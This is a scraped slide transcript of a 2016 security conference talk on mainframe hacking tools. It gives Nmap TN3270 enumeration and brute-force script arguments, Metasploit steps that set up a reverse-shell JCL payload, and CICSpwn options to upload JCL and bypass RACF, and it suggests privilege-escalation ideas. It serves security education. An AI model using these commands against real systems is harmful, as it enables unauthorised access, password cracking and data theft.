Top Banner
VANGUARD SECURITY & COMPLIANCE 2016 Philip Young ZedSec 390 CST08 Advanced Mainframe Hacking SECURITY & COMPLIANCE CONFERENCE 2016
58

Advanced mainframe hacking

Apr 15, 2017

Download

Technology

Philip Young
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Philip Young ZedSec 390

CST08

Advanced Mainframe Hacking

SECURITY & COMPLIANCE CONFERENCE 2016

Page 2: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Disclaimer

I’m not here in the name of or on behalf of my employer. All opinions expressed here are my own.

Page 3: Advanced mainframe hacking

About Me!

Page 4: Advanced mainframe hacking
Page 5: Advanced mainframe hacking
Page 6: Advanced mainframe hacking
Page 7: Advanced mainframe hacking
Page 8: Advanced mainframe hacking
Page 9: Advanced mainframe hacking
Page 10: Advanced mainframe hacking
Page 11: Advanced mainframe hacking
Page 12: Advanced mainframe hacking
Page 13: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Purpose

This session will: • GooverthetoolsintroducedinMondayskeynote

• Explainwhat’sgoingonbehindthescenes

• Showyouhowtousethetools

Page 14: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Tools Covered

• Nmap • Metasploit • CICSpwn • ELV.APF

Page 15: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Platform

• Linux (Kali Linux) • Vmware • macOS • VPS

Page 16: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Kali Linux

• A Linux distribution • Comes pre-loaded with multiple tools:

• BURP• Metasploit• BeeF• Manymore

Page 17: Advanced mainframe hacking
Page 18: Advanced mainframe hacking

DEMO

Page 19: Advanced mainframe hacking
Page 20: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Nmap

• Created in 1997 • By: Fyodor • Mostly ‘C’ • Includes Service Detection • Added Scripting Engine in ‘07

Page 21: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Nmap

• Network MAP • Uses various techniques to discover open ports

• E.G. “Syn Scan”

Page 22: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Service Probes

• Identify what is running on a port • Uses TCP/UDP probes

Page 23: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Nmap Probes

• Use the flag: ‘-sV’ • Null Probe:

MatchesdatasenttoNmap• Approx 4,000 ‘Null Probes’ Let’s look at TN3270*: match tn3270 m|^\xff\xfd\x1d| p/IBM Telnet TN3270/ i/3270-REGIME/

* line 4606 in nmap-service-probes

Page 24: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

TN3270 Null Probe

match -> ‘Matchthefollowing’ Tn3270 -> ‘with tn3270’ m|^\xff\xfd\x1d| \xff\xfd\x1d = IAC DO TN3270E p/IBM Telnet TN3270/ = Set to ‘IBM Telnet…’

Page 25: Advanced mainframe hacking
Page 26: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Other Probes

• TCP Probes • Send Data, inspect reply • For example Network Job Entry Probe:

Page 27: Advanced mainframe hacking
Page 28: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

NJE Probe

• Sends an invalid NJE ‘OPEN’ packet

• Waits for either ‘ACK’ or ‘NAK’ in EBCDIC

Page 29: Advanced mainframe hacking

Nmap without Service Probes

Page 30: Advanced mainframe hacking

Nmap WITH Service Probes

Page 31: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Nmap Scripting Engine (NSE) • Composed of Libraries and scripts • Over 530 scripts available • 121 Libraries • Uses Lua

Page 32: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

NSE Categories

AUTH BROADCAST BRUTE DEFAULT DISCOVERY DOS EXPLOIT

EXTERNAL FUZZER INTRUSIVE MALWARE SAFE VERSION VULN

Page 33: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

TN3270 NSE Library

• A ‘virtual’ TN3270 terminal written in Lua

• Available: https://github.com/zedsec390/NMAP

• Allows for the following:

Page 34: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Invoke

• To invoke scripts use the flag --script

(\ is line continuation in linux)

nmap -sV\ --script tn3270-screen

Page 35: Advanced mainframe hacking
Page 36: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Additional TN3270 Scripts • VTAM Applid Enumeration • TSO:

• UserIDEnumeraFon• PasswordBruteForce

• CICS: • TransacFonEnumeraFon• UserIDEnumeraFon• UserPasswordBruteForcing

Page 37: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Additional TN3270 Scripts • VTAM Applid Enumeration • TSO:

• UserIDEnumeraFon• PasswordBruteForce

• CICS: • TransacFonEnumeraFon• UserIDEnumeraFon• UserPasswordBruteForcing

Page 38: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

TSO User Enumeration • Let’s walk through the arguments:

•  NotetheLibraries:brute&unpwdb

Argument Defini5on

brute.maxthreads=100MaxnumberofconcurrentconnecFons.Setto100.

userdb=‘/tmp/users.txt’Filewithusernamesyouwanttotest.

tso-enum.commands=‘TSOL5’ThecommandusedtogettoTSO.

Page 39: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

CICS Transaction Enumeration Argument Defini5on

brute.maxthreads=100MaxnumberofconcurrentconnecFons.Setto100.

idlist=‘/tmp/users.txt’FilewithCICStransacFonsyou’relookingfor.

cics-enum.commands=‘CICSTS29’ThecommandusedtogettotheCICSregion.

cics-enum.path=‘/home/test’SuccessfullyidenFfiedtransacFonscreenshotswillbeplacedinthisfolder.

Page 40: Advanced mainframe hacking

DEMO

Page 41: Advanced mainframe hacking
Page 42: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Metasploit Framework

• Developed by H.D. Moore 2003 • Moved to Ruby in 2007 • Created an easy to use exploit platform

• Chad Rikansrud (@bigendiansmalls) add JCL and z/OS architecture support in 2016

Page 43: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Using MSF

• Run ‘msfconsole’ • To list all exploits: show exploits • Run the ONLY z/os ‘exploit’ use exploit/mainframe/ftp/ftp_jcl_creds

• Show the options with: show options • Fill in the options you need • Select which ‘payload’ you want to use

Page 44: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Set options

• Exploit options: Op5on Defini5on

FTPUSER UserIDtouse.

FTPPASS Passwordtouse.

RHOSTFTPHostname/IPaddressoftargetLPAR

RPORT FTPport(useNmap)

Page 45: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Metasploit Payload Options Now select a payload: set payload cmd/mainframe/reverse_shell_jcl Change the payload options: Op5on Defini5on

LHOST OurHostnameorIPaddress

LPORT Theportyouwantmetasploittoopenalisteneron.

Page 46: Advanced mainframe hacking

DEMO

Page 47: Advanced mainframe hacking
Page 48: Advanced mainframe hacking
Page 49: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

CICSpwn

• Release this year by Ayoul • Relies on CEMT/CEDA transaction IDs (for now)

• Uses CEMT to upload and execute JCL/REXX

• Can be used to assess CICS and break in to environments

• Requires Python 2.7

Page 50: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Interesting Options

Invoke with: python cicspwn Flag Defini5on

-i GatherinformaFon

-A TestallopFons

-sUploadJCLtobeexecutedbyCICSuser(requiresCEMT)

--bypass WillbypassRACFifCEDAisavailable.

Page 51: Advanced mainframe hacking

DEMO

Page 52: Advanced mainframe hacking
Page 53: Advanced mainframe hacking

Where To From Here?

Page 54: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Escalation

• So far only network based • What happens after access is granted?

Page 55: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Some Ideas

• Storage ‘scrapers’ to gather system information (think ‘IPLINFO’ but built in to metasploit)

• Automated APF tools to attempt privilege escalation through zapping APF authorized modules

• Data dumping tools to grab all datasets • SMP/E corruption

Page 56: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Why Not?

• Make your own tools? I’d prefer the tools come with what the experts need, so they have it without knowing about it

Page 57: Advanced mainframe hacking

Contact: [email protected] @mainframed767

Page 58: Advanced mainframe hacking

VANGUARD SECURITY & COMPLIANCE 2016

Thank you!

SECURITY & COMPLIANCE CONFERENCE 2016